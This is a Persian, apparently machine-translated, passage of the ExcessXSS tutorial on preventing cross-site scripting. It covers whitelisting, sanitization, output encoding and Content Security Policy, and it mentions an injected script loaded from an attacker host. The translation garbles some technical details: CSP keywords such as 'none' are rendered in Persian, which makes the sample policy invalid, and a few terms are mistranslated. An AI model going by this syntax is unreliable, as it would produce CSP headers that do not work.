    سادگی توصیف دقیق مجموعه رشته های ایمن معمولاً بسیار ساده تر از شناسایی مجموعه تمام رشته های مخرب است. این به ویژه در شرایط عمومی که ورودی کاربر باید شامل مجموعه بسیار محدودی از عملکردهای موجود در مرورگر باشد، کاربرد دارد. به عنوان مثال، لیست سفیدی که در بالا توضیح داده شد، به سادگی اجازه می دهد فقط از URL هایی با پروتکل های http: یا https: مجاز استفاده شود، و در اکثر مواقع این برای کاربران کافی است. دوام بر خلاف لیست سیاه، لیست سفید معمولاً با اضافه شدن یک ویژگی جدید به مرورگر منسوخ نمی شود. به عنوان مثال، اعتبار سنجی لیست سفید HTML اجازه می دهد تا تنها ویژگی های عنوان عناصر HTML ایمن باقی بمانند، حتی اگر آن (لیست سفید) قبل از معرفی ویژگی چرخه موس HTML5 طراحی شده باشد.

    نتیجه اعتبارسنجی

    هنگامی که یک ورودی کاربر به عنوان نامعتبر (ممنوع) علامت گذاری شده است، یکی از دو اقدام می تواند انجام شود:

    ورودی Reject به سادگی رد می شود و از استفاده آن در جای دیگری از سایت جلوگیری می کند. پاکسازی تمام قسمت‌های نامعتبر داده‌های ورودی حذف شده و ورودی باقی‌مانده طبق معمول در وب‌سایت استفاده می‌شود.

    از بین این دو، "انحراف" ساده ترین رویکرد برای پیاده سازی است. اما در نظر گرفته می شود که ضدعفونی مفیدتر باشد زیرا طیف وسیع تری از ورودی را برای کاربر فراهم می کند. به عنوان مثال، اگر کاربر شماره کارت اعتباری را ارسال کند، پاکسازی تمام غیر کاراکترها را حذف می کند و از تزریق کد جلوگیری می کند و همچنین به کاربر اجازه می دهد شماره را با خط فاصله یا بدون خط تیره وارد کند.

    اگر تصمیم به اجرای ضدعفونی دارید، باید مطمئن شوید که خود روش ضدعفونی از رویکرد لیست سیاه استفاده نمی کند. به عنوان مثال، URL "Javascript:..."، حتی اگر در لیست سفید به عنوان نامعتبر باشد، از روال ضد عفونی که به سادگی تمام نمونه های "javascript:" را حذف می کند، دور می زند. به همین دلیل، کتابخانه‌ها و چارچوب‌هایی که به خوبی آزمایش شده‌اند باید در صورت امکان از پاک‌سازی استفاده کنند.

    از چه روش هایی برای پیشگیری استفاده کنیم؟

    رمزگذاری باید اولین خط دفاع شما در برابر حملات XSS باشد، هدف آن پردازش داده ها به گونه ای است که مرورگر نتواند ورودی کاربر را به عنوان کد تفسیر کند. در برخی موارد، کدگذاری باید با اعتبار سنجی تکمیل شود. رمزگذاری و اعتبارسنجی باید برای ترافیک خروجی اعمال شود، زیرا تنها در این صورت می‌توانید بدانید که ورودی کاربر در چه زمینه‌ای اعمال می‌شود و کدگذاری و اعتبارسنجی باید اعمال شود.

    به عنوان دومین خط دفاعی، باید ورودی‌های نامعتبر کاربر، مانند پیوندها، در داده‌های دریافتی با استفاده از پروتکل جاوا اسکریپت را پاکسازی یا رد کنید. این به خودی خود نمی تواند امنیت کامل را فراهم کند، اما اگر هر نقطه ای در حفاظت از کدگذاری و اعتبارسنجی به دلیل اجرای نادرست از کار بیفتد، یک اقدام احتیاطی مفید است.

    اگر این دو خط دفاعی به طور مداوم استفاده شوند، سایت شما از حملات XSS محافظت می شود. با این حال، به دلیل پیچیدگی ایجاد و نگهداری یک وب سایت، ارائه حفاظت کامل تنها با استفاده از مدیریت امن ورودی کاربر می تواند دشوار باشد. به عنوان خط سوم دفاعی، باید از سیاست های امنیتی محتوا استفاده کنید ( انگلیسی خط مشی امنیت محتوا) سپس CSP که در ادامه توضیح خواهیم داد.

    سیاست های امنیتی محتوا (CSP)

    استفاده از مدیریت امن ورودی کاربر برای محافظت در برابر حملات XSS کافی نیست، زیرا حتی یک خطای امنیتی می تواند وب سایت شما را در معرض خطر قرار دهد. استفاده از سیاست‌های امنیت محتوا (CSP) استاندارد وب جدید می‌تواند این خطر را کاهش دهد.

    از CSPها برای محدود کردن استفاده مرورگر از یک صفحه وب استفاده می‌شود تا بتواند فقط از منابع دانلود شده از منابع مطمئن استفاده کند. آ منابعاسکریپت ها، شیوه نامه ها، تصاویر یا هر نوع فایل دیگری هستند که در صفحه به آنها ارجاع داده می شود. این بدان معنی است که حتی اگر یک مهاجم بتواند محتوای مخرب را به سایت شما تزریق کند، CSP قادر خواهد بود از اجرای آن جلوگیری کند.

    از CSP ها می توان برای اجرای قوانین زیر استفاده کرد:

    ممنوعیت منابع غیرقابل اعتماد منابع خارجی را فقط می توان از مجموعه ای از منابع مطمئن کاملاً تعریف شده دانلود کرد. غیرمجاز کردن منابع جاسازی شده در جاوا اسکریپت و CSS رعایت نخواهد شد. غیرفعال کردن eval غیرفعال کردن استفاده از تابع eval در جاوا اسکریپت.

    CSP در عمل

    در مثال زیر، یک مهاجم موفق شد کد مخرب را به یک صفحه وب تزریق کند:


    آخرین نظر:

    با یک خط مشی CSP به درستی تعریف شده، مرورگر نمی تواند malicious‑script.js را بارگیری و اجرا کند زیرا http://attacker/ به عنوان منبع قابل اعتماد فهرست نشده است. حتی اگر سایت قادر به پردازش قابل اعتماد ورودی کاربر نبود، در این مورد، خط مشی CSP از ایجاد آسیب پذیری جلوگیری کرد.

    حتی اگر یک مهاجم کد را در داخل کد اسکریپت تزریق کند، نه پیوندی به یک فایل خارجی، یک خط مشی CSP به درستی پیکربندی شده نیز از تزریق به کد جاوا اسکریپت جلوگیری می کند و از آسیب پذیری و ایجاد هر گونه آسیب جلوگیری می کند.

    چگونه CSP را فعال کنیم؟

    به طور پیش فرض، مرورگرها از CSP استفاده نمی کنند. برای فعال کردن SCP در وب‌سایت‌تان، صفحات باید حاوی یک عنوان HTTP اضافی باشند: Content-Security-Policy. هر صفحه ای که حاوی این سرصفحه باشد، هنگام بارگیری توسط مرورگر، سیاست های امنیتی را اعمال می کند، مشروط بر اینکه مرورگر از CSP پشتیبانی کند.

    از آنجایی که خط مشی امنیتی با هر پاسخ HTTP ارسال می شود، این امکان برای سرور وجود دارد که به صورت جداگانه خط مشی را برای هر صفحه تنظیم کند. با درج یک هدر CSP در هر پاسخ، می توان همین سیاست را برای کل وب سایت اعمال کرد.

    مقدار در هدر Content-Security-Policy حاوی رشته ای است که یک یا چند خط مشی امنیتی را مشخص می کند که در سایت شما کار می کنند. نحو این خط در ادامه توضیح داده خواهد شد.

    مثال‌های عنوان در این بخش از شکسته‌های خط و تورفتگی برای سهولت خواندن استفاده می‌کنند. آنها نباید در هدر واقعی وجود داشته باشند.

    نحو CSP

    نحو هدر CSP به شرح زیر است:

    خط مشی امنیت محتوا:
    بخشنامه منبع-بیان, منبع-بیان, ...;
    بخشنامه ...;
    ...

    این نحو از دو عنصر تشکیل شده است:

    • دستورالعمل ها، که رشته هایی هستند که نوع منبع گرفته شده از لیست داده شده را نشان می دهند.
    • عبارت منبع مدلی است که یک یا چند سرور را توصیف می کند که می توان از آنها منابع را بارگیری کرد.

    برای هر دستورالعمل، داده‌های عبارت منبع تعیین می‌کنند که کدام منابع می‌توانند برای بارگیری منابع از آن نوع استفاده شوند.

    بخشنامه ها

    دستورالعمل های زیر را می توان در هدر CSP استفاده کرد:

    • connect-src
    • font-src
    • frame-src
    • img-src
    • media-src
    • object-src
    • script-src
    • style-src

    علاوه بر این، دستورالعمل ویژه default-src می تواند برای ارائه یک مقدار پیش فرض برای همه دستورالعمل هایی که در هدر گنجانده نشده اند استفاده شود.

    بیان منبع

    نحو ایجاد یک عبارت منبع به شرح زیر است:

    protocol:// host-name: port-number

    نام میزبان می تواند با * شروع شود، به این معنی که هر زیر دامنه ای از نام میزبان ارائه شده مجاز خواهد بود. به طور مشابه، یک شماره پورت می تواند به صورت * نمایش داده شود، که به این معنی است که همه پورت ها مجاز خواهند بود. علاوه بر این، پروتکل و شماره پورت ممکن است حذف شوند. در صورتی که هیچ پروتکلی مشخص نشده باشد، خط مشی مستلزم آن است که همه منابع با استفاده از HTTPS بارگیری شوند.

    علاوه بر نحو بالا، عبارت منبع می‌تواند یکی از چهار کلمه کلیدی با معنای خاص (شامل نقل قول) باشد:

    "هیچ" منابع را غیرفعال می کند. "self" منابع را از میزبانی که صفحه وب در آن قرار دارد حل می کند. "unsafe-inline" به منابع موجود در صفحه به عنوان عناصر درون خطی، عناصر و جاوا اسکریپت: URL ها اجازه می دهد. "unsafe-eval" تابع ارزشیابی جاوا اسکریپت را فعال می کند.

    توجه داشته باشید که هر زمان از CSP استفاده می شود، منابع جاسازی شده و eval به طور پیش فرض غیرفعال می شوند. استفاده از "unsafe-inline" و "unsafe-eval" تنها راه استفاده از آنها است.

    مثال سیاست

    خط مشی امنیت محتوا:
    script-src "self" scripts.example.com;
    media-src "هیچ";
    img-src*;
    default-src "self" http://*.example.com

    با این سیاست مثال، صفحه وب دارای محدودیت های زیر خواهد بود:

    • اسکریپت ها را فقط می توان از میزبانی که صفحه وب در آن قرار دارد و از این آدرس بارگیری کرد: scripts.example.com .
    • فایل های صوتی و تصویری مجاز به آپلود نیستند.
    • فایل های تصویری را می توان از هر آدرسی دانلود کرد.
    • تمام منابع دیگر را فقط می توان از میزبانی که صفحه وب در آن قرار دارد و از هر زیردامنه example.com دانلود کرد.
    وضعیت CSP

    از ژوئن 2013، سیاست‌های امنیتی محتوا توسط W3C توصیه می‌شود. CSP توسط توسعه دهندگان مرورگر پیاده سازی می شود، اما برخی از قسمت های آن مختص مرورگرهای مختلف است. برای مثال، استفاده از هدر HTTP ممکن است بین مرورگرها متفاوت باشد. قبل از استفاده از CSP، لطفاً به مستندات مرورگرهایی که قصد پشتیبانی از آنها را دارید، مراجعه کنید.

    خلاصه خلاصه: XSS Overview
    • حمله XSS یک حمله تزریق کد است که با مدیریت ناامن ورودی کاربر ممکن می شود.
    • یک حمله موفق XSS به مهاجم اجازه می دهد تا جاوا اسکریپت مخرب را در مرورگر قربانی اجرا کند.
    • یک حمله موفق XSS امنیت وب سایت و کاربران آن را به خطر می اندازد.
    خلاصه: حملات XSS
    • سه نوع اصلی از حملات XSS وجود دارد:
      • XSS ذخیره شده، جایی که ورودی مخرب از پایگاه داده وب سایت منشا می گیرد.
      • منعکس شده XSS، که در آن ورودی مخرب از درخواست قربانی سرچشمه می گیرد.
      • حملات XSS در مدل DOM، که در آن آسیب‌پذیری در کد سمت کلاینت مورد سوء استفاده قرار می‌گیرد، نه در سمت سرور.
    • همه این حملات به صورت متفاوتی انجام می شوند، اما در صورت موفقیت، اثر یکسانی دارند.
    خلاصه: پیشگیری از XSS
    • مهم ترین راه برای جلوگیری از حملات XSS انجام مدیریت ورودی امن است.
      • هر زمان که ورودی کاربر در صفحه فعال است، رمزگذاری باید انجام شود.
      • در برخی موارد، کدگذاری باید با اعتبار سنجی جایگزین یا تکمیل شود.
      • مدیریت ایمن ورودی باید در نظر داشته باشد که ورودی کاربر در چه زمینه صفحه ای درج شده است.
      • به منظور جلوگیری از انواع حملات XSS، مدیریت ورودی امن باید هم در کد سمت کلاینت و هم در سمت سرور انجام شود.
    • سیاست‌های امنیتی محتوا (CSP) یک لایه حفاظتی اضافی در صورت شکست پردازش ورودی امن ارائه می‌کنند.
    اصطلاحات ضمیمه

    لازم به ذکر است که یک متقاطع در اصطلاح مورد استفاده برای توصیف XSS وجود دارد: یک حمله XSS به DOM می تواند ذخیره یا منعکس شود. اینها انواع جداگانه ای از حملات نیستند. هیچ اصطلاح پذیرفته شده ای وجود ندارد که تمام انواع XSS را بدون اختلاط پوشش دهد. صرف نظر از اصطلاحات مورد استفاده برای توصیف XSS، مهمترین چیز تعیین نوع حمله است، این امر در صورتی امکان پذیر است که بدانید ورودی مخرب از کجا می آید و آسیب پذیری در کجا قرار دارد.

    حقوق استفاده و پیوندها

    کد منبع برای ExcessXSSدر GitHub در دسترس است.

    ExcessXSSدر سال 2013 به عنوان بخشی از دوره امنیت مبتنی بر زبان در دانشگاه صنعتی چالمرز ایجاد شد.

    ترجمه به روسی توسط A888R انجام شد، متن اصلی به زبان انگلیسی: excess-xss.com، نظرات، پیشنهادات و خطاهای ترجمه را به اینجا ارسال کنید.

     
    مقالات توسطموضوع:
    آسیب پذیری XSS چیست؟
    آسیب پذیری XSS چیست؟
    اسکریپت بین سایتی با استفاده از اسکریپت جاوا محبوب ترین نوع حمله است. در این مقاله به شما خواهیم گفت که استفاده از اسکریپت جاوا چه مشکلاتی ایجاد می کند و چگونه از خود در برابر حملات XSS محافظت کنید. حمله XSS چیست؟ XSS - نوع
    مسیرها: تاریخ و مدرنیته
    مسیرها: تاریخ و مدرنیته
    این کفش ها در نگاه اول تا حدی وحشیانه به نظر می رسند. اما در چنین تضادی، زن حتی شکننده تر و برازنده تر به نظر می رسد. و پاها که چکمه های بالای زانو پوشیده شده اند، کاملاً باریک به نظر می رسند. آج این کفش ها در اصل چکمه های سواره نظام با بالا بودند
    برای کاهش وزن چه بخوریم: چه غذاهایی به کاهش وزن کمک می کنند چه چیزهایی به کاهش وزن کمک می کند
    برای کاهش وزن چه بخوریم: چه غذاهایی به کاهش وزن کمک می کنند چه چیزهایی به کاهش وزن کمک می کند
    که به کاهش وزن کمک می کند. کاهش وزن، حذف عوامل خطر برای افزایش وزن - همه اینها یک موضوع تحقیقاتی بسیار مرتبط است. در مطالعه ای که در میسوری (ایالات متحده آمریکا) با استفاده از توموگرافی کامپیوتری انجام شد، ارزیابی
    اولین ترکیب رقص در TNT
    اولین ترکیب رقص در TNT
    همه بیست شرکت کننده فصل 3 رقص، قسمت 22 به آخرین کنسرت گالا آمدند تا آن را به یک تعطیلات واقعی تبدیل کنند. دوئت های غیرمنتظره، اعدادی که به کلاسیک های فصل تبدیل شده اند، رقص های دسته جمعی روشن ... تا همین اواخر، ما بازیگران را در سراسر روسیه دنبال می کردیم